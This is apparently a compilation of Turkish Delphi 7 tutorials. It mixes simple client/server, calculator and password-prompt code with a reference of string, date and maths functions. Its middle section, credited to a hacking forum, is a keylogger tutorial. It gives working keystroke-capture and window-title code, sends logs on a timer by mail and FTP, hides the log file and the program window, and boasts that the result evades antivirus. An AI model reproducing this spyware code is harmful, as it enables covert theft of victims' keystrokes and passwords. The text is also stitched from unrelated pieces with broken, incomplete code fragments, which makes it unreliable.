var
yazi:String;
i:integer;
Begin
i:=0;
Repeat
yazi:=inputbox('Şifre koruması', 'Lütfen şifreyi giriniz','');
if yazi<>'123456789' then
i:=i+1;
if i=3 then begin
showmessage('3 kez hatalı şifre girdiniz program kapatılıyor');
Halt;
end;
until yazi='123456789';
form2.show;
end;
Önce delphi ile ilgili biraz bilgi vereyim.
Delphi pascal tabanli olup görsel bir yazilim dilidir ve bilgisayarcilar arasinda cok popilerdir.
Delphide program yazarken iki yerle cok hasir nesir olacagiz.
Bunlardan birincisi komponentler bölümü ikincisi ise “Object Inspector” penceresidir.
Komponentler bölümü zaten delphiyi actiginiz zaman karsiniza ana pecerede cikan Standart,
additional, win32 … gibi siralanip giden basamakli pencereler olarak karsiniza cikar.
Object Inspector penceresi ise kendi arasinda iki basamakli pencere olarak ikiye ayrilir.
Ilki Properties ikinci ise events bölümüdür. Bu pencerelerin her ikiside cok önemlidir.
Properties peceresi formunuza eklediginiz komponentlerin özelliklerini control edip degistirebilirsiz.
(Bu bölümle su an pek isimiz yok)
Evrents penceresi ise formunuzdaki komponemtlerin olaylarina müdale etmenize saglayacak mesela
acip bakarsaniz On Click yazar bu o an tikladiginizda ne yapmanizi istediginizi o kisma yazarak
beliritirsiniz.
Simdi gelelim trojen yazma islemimize once delphide trojen matigindan biraz bahsediyim.
Delphide ag dedimiz zaman (bu islem komponentler ile yapildigi zaman)
verici client alici server degimleri akla gelir. Client komut gönderir truva ati yani server
komutu yerine getirir.
Simdi yazmaya baslayalim once serveri yani truva atini yazalim.
Simdi delphiyi actiginizda ilk form cikar bu forma komponentlerin internet basamagina gelip
tcpserver tiklayin ve formunuzun uygun bir yerine tiklayin formunuza yelestigini göreceksiniz.
Bu islemi yaptiktan sonra formun üzerine ikikere tiklayarak formun creat kod bloguna giriniz.
Buraya su kodlari yaziniz.
Alıntı:
procedure TForm1.FormCreate(Sender: TObject);
begin
form1.TcpServer1.LocalPort:=’222’; //hangi porttan veri dinleyecegi belirlenir.
form1.TcpServer1.Active:=true; // basla
end;
end.
Bu islemi yaptiktan sonra F 9 basarak isleminizin calisip calismadiginizi gorebilisiniz.
Simdi komut yorumlayacagi yeri islemi yapalim.
Bunun icin “Object Inspector” penceresinin Evrents basamagindan yaralanacagiz.
Bunun icin forma yerlestirdigimiz tcpserver componentini tiklayin ve “Object Inspector”
pecresinin evrents basamagini tiklayin ve ordaki On Accept bölümüne tiklayin ve acilan
kod bloguna su kodlari yaziniz.
Alıntı:
procedure TForm1.TcpServer1Accept(Sender: TObject;
ClientSocket: TCustomIpClient);
var
a:string;
begin
a:=clientsocket.Receiveln();
if a = 'mesaj' then
begin
showmessage('**** CODDER 71® ****');
end
end;
end.
Bu kod islemini yaptiktan sonra bu formu kaydetip kapatin kaydetme islemi file—save projet
as ve geriside bilindigi gibi kaydet kaydet deyin ve birkez F 9´a basin cikin.
Server islemi tamam.
Simdi clienti formu yazmaya geldik
Kodlari yazmaya baslamadan once sunlari forma yerlestiriniz.
Componentlerden standart bolümünden
2 adet edit text
1 adet label
2 adette button koyunuz ve
internet basmagindan tcpclient koyunuz.
Simdi kodlari yazalim
Forma ikikere tiklayarak acilan kod bloguna su kodlari yaziniz.
Alıntı:
procedure TForm1.FormCreate(Sender: TObject);
begin
form1.Label1.Caption:=form1.TcpClient1.LocalHostAd dr;
form1.Edit1.Text:=form1.TcpClient1.LocalHostAddr;
form1.Edit2.Text:='222';
form1.Button1.Caption:='CONNECT';
FORM1.Button2.Caption:='SEND';
end;
bu islemden sonra
formdaki button1 yazan buton üstüne gelip ikikere tiklayarak su kodlari yaziniz.
Alıntı:
form1.TcpClient1.RemoteHost:=form1.Edit1.Text; //ip
form1.TcpClient1.RemotePort:=form1.Edit2.Text; //serverin dinledigi port
form1.TcpClient1.Connect; //baglan
bu islemdende sonra button2 yazan butonun ustune gelip ikikere tiklayarak
acilan kod buloguna ise su kodlari yaziniz.
Alıntı:
procedure TForm1.Button2Click(Sender: TObject);
begin
FORM1.TcpClient1.Sendln('mesaj'); //komut gonder
end;
end.
Iste ilk trojenimiz bitti bunu daha once dedigim gibi kaydetin ve bir kez F 9 ´a
basin ve cikin ve dosyalari kaydettiginiz yeri acin ve exeleri olusmus olacaktir
onlari alip kullanabilirsiniz.
(sari renkli iconlari vardir. 7 isareti iconlardir.)
Dikkat : Bu anlatiklarim hepsi delphi 7 icindir.
Cok amatörce oldu ama insallah size mantigi biraz olsun anlamaniza yardimci olmusumdur.
Trojenlerin %70-80 bu yöntemle yazilir cok ünlü wormlar bile bu yöntemle yazilmislardir.
Aslinda burda ag mantigini kapmak olay bunu örendiseniz cok gelismis ag programlari yazabilirsiniz.
procedure Delay(ms : longint);var TheTime : LongInt;
begin
TheTime := GetTickCount + ms;
while GetTickCount < TheTime do
Application.ProcessMessages;
end;
procedure TForm1.Button1Click(Sender: TObject);
var i,s:integer;
begin
s:=100;
for i:=1 to 100 do begin
s:=s-1;
edit1.Text:=inttostr(s);
Delay(1000);
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
halt;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
edit1.Text:='100'; end;
procedure TForm1.Button9Click(Sender: TObject);
begin
Edit1.Text:=Edit1.Text+"7";
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Edit1.Text:=Edit1.Text+"1";
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Edit1.Text:=Edit1.Text+"2";
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
Edit1.Text:=Edit1.Text+"3";
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
Edit1.Text:=Edit1.Text+"4";
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
Edit1.Text:=Edit1.Text+"5";
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
Edit1.Text:=Edit1.Text+"6";
end;
procedure TForm1.Button10Click(Sender: TObject);
begin
Edit1.Text:=Edit1.Text+"8";
end;
procedure TForm1.Button11Click(Sender: TObject);
begin
Edit1.Text:=Edit1.Text+"9";
end;
procedure TForm1.Button17Click(Sender: TObject);
begin
Edit1.Text:=Edit1.Text+"0";
end;
procedure TForm1.Button14Click(Sender: TObject);
begin
sayi1:=StrToInt(Edit1.Text);
secim:=1;
Edit1.Text:=";
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
sayi1:=StrToInt(Edit1.Text);
secim:=2;
Edit1.Text:=";
end;
procedure TForm1.Button8Click(Sender: TObject);
begin
sayi1:=StrToInt(Edit1.Text);
secim:=3;
Edit1.Text:=";
end;
procedure TForm1.Button12Click(Sender: TObject);
begin
sayi1:=StrToInt(Edit1.Text);
secim:=4;
Edit1.Text:=";
end;
procedure TForm1.Button13Click(Sender: TObject);
begin
sayi2:=StrToInt(Edit1.Text);
if secim = 1 Then sonuc:= sayi1+sayi2;
if secim = 2 Then sonuc:= sayi1-sayi2;
if secim = 3 Then sonuc:= sayi1*sayi2;
if secim = 4 Then sonuc:= sayi1/sayi2;
Edit1.Text:= FloatToStr(sonuc);
end;
procedure TForm1.Button15Click(Sender: TObject);
begin
Edit1.Clear;
end;
procedure TForm1.Button1Click(Sender: TObject); var
sakat:integer;
begin
sakat:=strtoint(edit1.Text );
if sakat<0 then label2.Caption :='sonuç= negatif'
else
label2.Caption :='sonuç= pozitif'
if DeleteFile('C:UsersUSERDesktopdeneme.txt') then
Application.MessageBox('Dosyayı gerçekten silmek istiyormusunuz?','Soru', MB_OKCANCEL or MB_ICONQUESTION);
Bolum 1;
Delphide bu işleri merak eden çok tanıdık var.Hatta çogu kişi bunlar için delphi ogreniyor.
Kaynak: Wardom http://www.wardom.org/showthread.php?t=239073
Kabaca bi keylogger yazalım Smile
Keylogger aslında kolaydır ama tabi bunu vcl kullanarak yapmak var ,kullanmadan yapmaka var iki çeşidini de gosterecem . Smile
vcl kullanarak (form var)
programımıza 3 timer koyuyoruz (biraz artistik olsun hem ftp bildirimi hem mail bildirimi olsun Wink )
biri i sadece loglamak,biri pencere başlıklarını almak,biri ftp bildirimi ,biri mail bildirimi için
şimdi de bildirimleri yapmak için ındy clients kısmından bir tane Idsmtp bir tane de IdFtp koyduk.
bir tane memo,bir tane de ipwatch;
yapacagımız işleri parçalara bolersek işimiz daha kolay oluır bu yuzden procedure ler ile yapcagız Wink .
(ıdsmtp ye smtp ıdftp ye ftp dedik); Smile
log, // keylogumuz
app, // baslıgımız
bunlar global stringler (yani en bastaki var kısmına yazılaacakBig Grin )
Kaynak: Wardom http://www.wardom.org/showthread.php?t=239073
implementation un altına yazıyoruz
function sysdir:string; //herkesin bilgisayarında windows c de kurulu olmayabilir Big Grin
var
sdir:array [0..255] of char;
fdir:string;
begin
procedure TForm1.Timer1Timer;
var
i:integer;
begin
for i:=8 To 255 do
begin
if GetAsyncKeyState(i)=-32767 then
case i of
8:log:=log+'[UNDO]';9:log:=log+'[TAB]';
13:log:=log+#13#10;27:log:=log +'[ESC]';
32:log:=log+' ';
48:if GetKeyState(VK_SHIFT)<0 then log:=log+')'
else log:=log+'0';
//...
57:if GetKeyState(VK_SHIFT)<0 then log:=log+'('
else log:=log+'9';
65..90: //a-z,A-Z
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT)<0 then
log:=log+LowerCase(Chr(i))
else
log:=log+UpperCase(Chr(i))
else
if GetKeyState(VK_SHIFT)<0 then
log:=log+UpperCase(Chr(i))
else
log:=log+LowerCase(Chr(i));
//NUMPAD
97:log:=log+'1';
//...
105:log:=log+'9';
106:log:=log+'*';107:log:=log+ '&';109:log:=log+'-';
110:log:=log+'.';111:log:=log+ '/';
112..123: //F1-F12
log:=log+'[F'+IntToStr(i - 111)+']';
186:if GetKeyState(VK_SHIFT)<0 then log:=log+':'
else log:=log+';';
187:if GetKeyState(VK_SHIFT)<0 then log:=log+'+'
else log:=log+'=';
188:if GetKeyState(VK_SHIFT)<0 then log:=log+'<'
else log:=log+',';
189:if GetKeyState(VK_SHIFT)<0 then log:=log+'_'
else log:=log+'-';
190:if GetKeyState(VK_SHIFT)<0 then log:=log+'>'
else log:=log+'.';
191:if GetKeyState(VK_SHIFT)<0 then log:=log+'?'
else log:=log+'/';
192:if GetKeyState(VK_SHIFT)<0 then log:=log+'~'
else log:=log+'`';
219:if GetKeyState(VK_SHIFT)<0 then log:=log+'{'
else log:=log+'[';
220:if GetKeyState(VK_SHIFT)<0 then log:=log+'|'
else log:=log+'';
221:if GetKeyState(VK_SHIFT)<0 then log:=log+'}'
else log:=log+']';
222:if GetKeyState(VK_SHIFT)<0 then log:=log+'"'
else log:=log+'''';
end;
end;
end;
diger timerımızın ontimer kısmına da
procedure TForm1.Timer2Timer
var handler:THandle;
caption:array[0..80] of Char;
begin
handler:=GetForegroundWindow;
GetWindowText(handler,caption, 80);
if (caption<>app)and(caption<>'') then
begin
app:=caption;
log:=log+'['+caption+']-['+TimeToStr(Now)+']'+#13#10;
end;
end;
3. timerımızın interval ini kaç saniye/dakika da bir loglar teslim edilecekse ona gore ayarlıyoruz...
ontimer kısmına da
procedure TForm1.Timer3Timer
begin
memo1.lines.add(log);
if not (ip.localip='127.0.0.1') then begin // internet baglantısı yoksa yollamaya çalısmasın Smile
mailbil; //mail bildirme fonksiyonumuz ...
sleep(100);//kednine gelsin program Wink
memo1.lines.savetofile(sysdir+ 'log.spms');
ftpbil;// ftp bildirme fonksiyonumuz ...
log:='';//log stringini sıfıra eşitliyoruz ki aynı şey tekrar tekrar gelmesin
end;
end;
İstersek log dosyasının özelliklerini
FileSetAttr('C:\windows\deskto p\a.txt', faHidden);
şeklinde gizli yapabiliriz
//diğer attribute'ler
faReadOnly //salt okunur
faHidden //gizli
faSysFile //sistem dosyası
faArchive //arşiv
faAnyFile //salt okunur + gizli + sistem dosyası + arşiv
Son olarak gorulmesini istemiyorsanız project e tıklaın view source e tıklayın oraya
Application.showmainform:=fals e;
yazın,
işte bu kadarSmile Antilere Yakalanmayan keyloggerımız hazır!
Delphi'de değişkenlerin yerlerini ihtiyacımıza göre deklare ederiz.
1. Prosedür veya Fonksiyon Bazında Değişken Tanımlama
procedure TForm1.Button1Click(Sender: TObject);
var
sayi:integer;
begin
sayi:=sayi+1;
showmessage('sayı='+inttostr(sayi));
end;
Bu prosedürdeki sayi değişkeni prosedüre özgüdür ve prosedür işletilip son bulduktan sonra bellek serbest bırakılır ve bu yüzden yukarıdaki örnekte butona her tıkladığınızda sayı=1 görünür. Ayrıca bu x değişkenine formun diğer prosedürlerinden ya da diğer formlardan erişemezsiniz.
2. Form Bazında Değişken Tanımlama.
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
sayi:integer;
{ Private declarations }
public
{ Public declarations }
end;
Buradaki değişkenin form içerisindeki herhangi bir prosedür veya fonksiyondan erişebilirsiniz. Buradaki değişkenler form close olmadan bellekten silinmezler. Aşağıdaki örnekte buttonclick prosedüründe formun sayi değişkenini 1 arttırıp showmessage ile gösteriyorum. Butona her basıldığında sayi değeri 1 artıcak ve sayi=1 sayi=2 sayi=3 vs. görünecektir.
procedure TForm1.Button1Click(Sender: TObject);
begin
form1.sayi:=form1.sayi+1; // buradaki sayi formun private alanına deklare edilen sayi değişkenidir.
showmessage('sayı='+inttostr(form1.sayi));//form1.sayi yazmak yerine direk sayi yazabilirsiniz
end; // Farkı görebilmeniz için form1.sayi şeklinde yazdım.
3. Program Genelinde Değişken Tanımlama.
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
sayi:integer;
{ Public declarations }
end;
Burada tanımlanan sayi değişkenine diğer unitlerden(formlardan) erişebilirsiniz. Sadece diğer formların uses satırına değişkenin tanımlı olduğu formun unit adını (örnekte unit1) yazmanız gerekir.
IntToStr()
Parametre içerisine yazılan integer değeri string'e çevirir. Aksi işlemi ise StrToInt() fonksiyonu yapar.
FloatToStr()
Parametre içerisine yazılan ondalık sayıyı değeri string'e çevirir. Aksi işlemi ise StrToFloat() fonksiyonu yapar.
Lowercase()
Parametre olarak girilen string'deki büyük harfleri küçük harfe çeviri. Uppercase() fonksiyonu ise tam aksi işlemi yapmaktadır. Bu fonksiyonların yerine AnsiLowercase() ve AnsiUppercase() fonksiyonları kullanılarak Türkçe karakterler üzerinde de işlem yapılabilir. Yani İ'yi i'ye dönüşmektedir.
Length()
Parametre olarak girilen string'in karakter sayısını geriye döndürür (integer olarak).
Copy(String, Başlangıç Karakteri, Karakter Uzunluğu)
Dışarıdan 3 parametre almaktadır. İlk parametreye girilen string'in, 2. parametreye girilen karakterinden itibaren, 3. parametreye girilen karakter uzunluğu kadarını istenilen bir sitring değişkene copyalar.
ÖRNEK:
A:=Copy('Teknik Yazılım Geliştirme',8,7);
A:='Yazılım'; olarak geriye döndürülür.
Delete(String, Başlangıç Karakteri, Karakter Uzunluğu)
Parametreleri Copy() fonksiyonundaki işlevin aynıdır fakat bu sefer ilk parametreye girilen string'in belirtilen karakterden itibaren belirtilen uzunlukta karakter silinir.
ÖRNEK:
A:= 'Teknik Yazılım Geliştirme';
Delete(A,7,8);
A:='Teknik Geliştirme';
Insert(Birinci Sitring, İkinci String, Başlangıç Karakteri)
İlk parametredeki string'e, 3. parametreye girilen başlangıç karakterinden itibaren ikinci stringi ekler.
ÖRNEK:
A:='Ne Diyene';
B:='Mutlu Türküm ';
Insert(A, B, 4);
A:='Ne Mutlu Türküm Diyene'; olarak geriye döndürülür.
Pos(Arana String, Aranacak String)
İlk parametreye girilen string'i 2. parametreye girilen string'de arar ve kaçıncı karakterden itibaren başladığını integer olarak geriye döndürür. Eğer bulamazsa geriye 0 değerini döndürür.
ÖRNEK:
i:=Pos('lım','Teknik Yazılım Geliştirme');
i:=12;
Chr()
Parametre olarak girilen 0 ile 255 arası integer değerin ASCII kod karşılığını geri döndürür. ÖRNEK: A:=Chr(76); A:='L'; olarak geriye döndürülür.
Ord()
Chr() fonksiyonun tam aksi olayı gerçekleştirir; Parametre olarak girilen ASCII karakterin kodunu geri döndürür.
StringOfChar(Karakter,Karakter Sayısı)
İstenilen bir string değişkene ilk parametreye girilen karakter, 2. parametreye girilen sayı kadar ard arda atanır.
Val(String, Integer Değişken, Hata Kodu )
String değişkenin sayısal değere dönüştürülmesinde kullanılır. 2. parametredeki Integer değişkene ilk parametreye girilen string'in Integer'a dönüşmüş hali dndürülür. Eğer Integer'e dönüştürülemeyen karakterler varsa 3. parametreye girilen integer değişkene 0'dan farklı bir değer atanır.
ÖRNEK:
Procedure Tform1.Button1Click(Sender: TObject);
Var
A: String;
i,Hata: Integer;
Begin
A:='547hkhjl';
Val(A,i,Hata)
End;
Bu olaydan sonra;
i:=547;
Hata:=4;
Değerleri döndürülür.
AppendStr(ilk String, İkinci String)
İlk paramaetreye girilen string'e ikinci parametreye girilen string'i ekler ve sonucu ilk string'e atar.
Concat(String1, String2, String3, .... , StringN)
Parametre olarak girilen stringleri birleştirir ve belirtilen bir strin değişkene atar.
ÖRNEK:
Procedure Tform1.Button1Click(Sender: TObject);
Var
A, B, C: String;
Begin
A:='Türkiye';
B:='Cumhuriyeti';
C:=Concat(A,' | C* | ',B);
End;
Olay sonunda; C:='Türkiye | C* | Cumhuriyeti'; olarak döndürülür.
Random() ve Randomize
Random() fonsiyonu; 0 ile parametre olarak girilen integer değişken arasında rasgele bir sayı üretir.
ÖRNEK:
Procedure Tform1.Button1Click(Sender: TObject);
Var
i: Integer;
Begin
i:=Random(3000);
End;
Sonuç olarak;
i'ye 0 ile 3000 arası bir sayı atanır. Eğer olay tekrarlanırsa sonuçlar arasında söyle bir benzerlik oryata çıkar; 257, 688, 1770, 2035, 2952. Değerler sürekli artmakta. Bunu engelleyip her defasında bir öncekinden tamamen orantısız bir değer elde etmek için; i:=Random(3000); komutundan hemen önce Randomize; komutunu kullanmalısınız.
DateToStr()
Parametre olarak girilen tarih değişkenini string'e çevirir.
ÖRNEK;
Procedure Tform1.Button1Click(Sender: TObject);
Var
A: String;
Begin
A:=DateToStr(Date);
End;
Örnegimizde bilgisayarın tarihi string'e çevrilerek A değişkenine aktarılmakta.
TimeToStr()
DateToStr() fonksiyonu gibidir. Farklı olarak saat değişkenini string'e çevirir.
DayOfWeek()
Parametre olarak girilen tarih (Date) değişkenin haftanın kaçıncı günü olduğunu geriye döndürür. Örneğin; 1 döndürürse Pazar, 2 döndürürse Pazartesi, .... gibi.
DecodeDate(Tarih, Yıl, Ay, Gün ) ve EncodeDate(Yıl, Ay, Gün)
İlk parametresine girilen sayısal tarihi (örnegin: 28.07.2001) yıl, ay, gün olarak (Yil:=2001; Ay:=7; Gun:=28) diğer parametrelere atar. EncodeDate(Yıl, Ay, Gün) fonksiyonu ise tam aksi işlemi yapmaktadır.
DecodeTime(Ayrılmamış Saat, Saat, Dakika, Saniye, Mili Saniye) ve EncodeTime(Saat, Dakika, Saniye, Mili Saniye)
DecodeDate(Tarih, Yıl, Ay, Gün ) ve EncodeDate(Yıl, Ay, Gün) fonksiyonları gibi çalışırlar. Farklı olarak tarih değil saat değişkeni üzerinde işlem yaparlar.
IsLeapYear(Yıl)
Parametre olarak girilen yılın 366 gün yani Şubat ayının 29 gün çekip çekmediğini kontrol eder. Sonuç olarak Boolean yani True (olumlu) veya False (olumsuz) bir değer döndürür.
FormatDateTime(kod,Now)
Bu fonksiyon ile parametre olarak girilen kodlar doğrultusunda sitemin tarih ve saati istenilen şekilde alınabilir.
Kullanıma örnek olarak; A:=FormatDateTime('c',Now)
Girilen komuta göre elde edilen sonuçlar
C
08.07.2001 02:19:04
Yyyy 2001
D
8
H
2
Dd
08
Hh
02
Ddd
Sal
N
19
Dddd
Salı
Nn
19
Ddddd
08.07.2001
S
4
Dddddd
08 Temmuz 2001 Salı
Ss
04
M
7
T
02:19
Mm
07
Tt
02:19:04
Mmm
Tem
Am/pm
am
Mmmm
Temmuz
A/p
a
yy
01
Abs()
Parametre olarak girilen sayının mutlak değerini geriye döndürür. Yani sayının işareti ne olursa olsun dışarıya pozitif olarak çıkar.
Sqrt()
Parametre olarak girilen pozitif sayının karekökünü alır.
Power(Sayi, üst)
İlk parametreye girilen sayının, iki parametreye girilen üssünü alır. Kardeş fonksiyonu olan IntPower(Sayi, üst) fonksiyonunda ise üst Integer (tam sayı) olmak zorundadır.
Exp()
Parametre olarak girilen değer sabit e sayısının (e=2,718281) üssü olarak alınır.
LdExp(a, b)
Bu fonksiyonla a*2b işleminin sonucu elde edilmektedir.
Int()
Parametre olarak girilen ondalık sayı tamsayıya (integer) çevrilir.
Floor()
Parametre olarak girilen ondalık sayı aşağı doğru yuvarlatılır.
Örneğin; 7,6 sayısı 7 olarak döndürülür.
Ceil()
Floor() fonksiyonun tersi olarak; ondalık sayı yukarı doğru yuvarlatılır.
Örneğin; 7,6 sayısı 8 olarak döndürülür.
Frac()
Bu fonksiyonda ise parametre olarak girilen ondalık sayının tam kısmı atılarak geriye ondalık kısmı döndürülür;
Örnegin; 7,6 sayısı 0,6 veya -37,05 sayısı -0,05 olarak geriye döndürülür.
Hypot(a, b)
Dik kenarları a ve b olan bir dik üçgenin hipotenüsünü geriye döndürür.
Ln()
Parametre olarak girilen sayının logaritma e tabanındaki değerini verir.
LogN()
Parametre olarak girdiğiniz sayının logaritma N tabanındaki değerini veri.
Örneğin; (Log 76)5 matematiksel ifadesinin LogN() fonksiyonu ile Log5(76) şeklinde ifade edebiliriz.
Trigonometrik Fonksiyonlar (Sin, Cos, Tan, Cotan, Secant, CoSecant)
Tümü aynı şekilde çalıştığından sadece Sin() fonksiyonunu göstereceğim.
Sin()
Parametre olarak girilen değer radyan cinsinden olmalıdır. Bu bakımdan; örneğin;
63 derecenin Sin'ünü almak istiyorsanız. Önce dereceyi DegToRad() fonksiyonu ile radyana çevirmelisiniz: Sin(DegToRad(63)); şeklinde.
Bunları öğrenirseniz bir çok kodu öğrenmekte kolay sağlarsınız..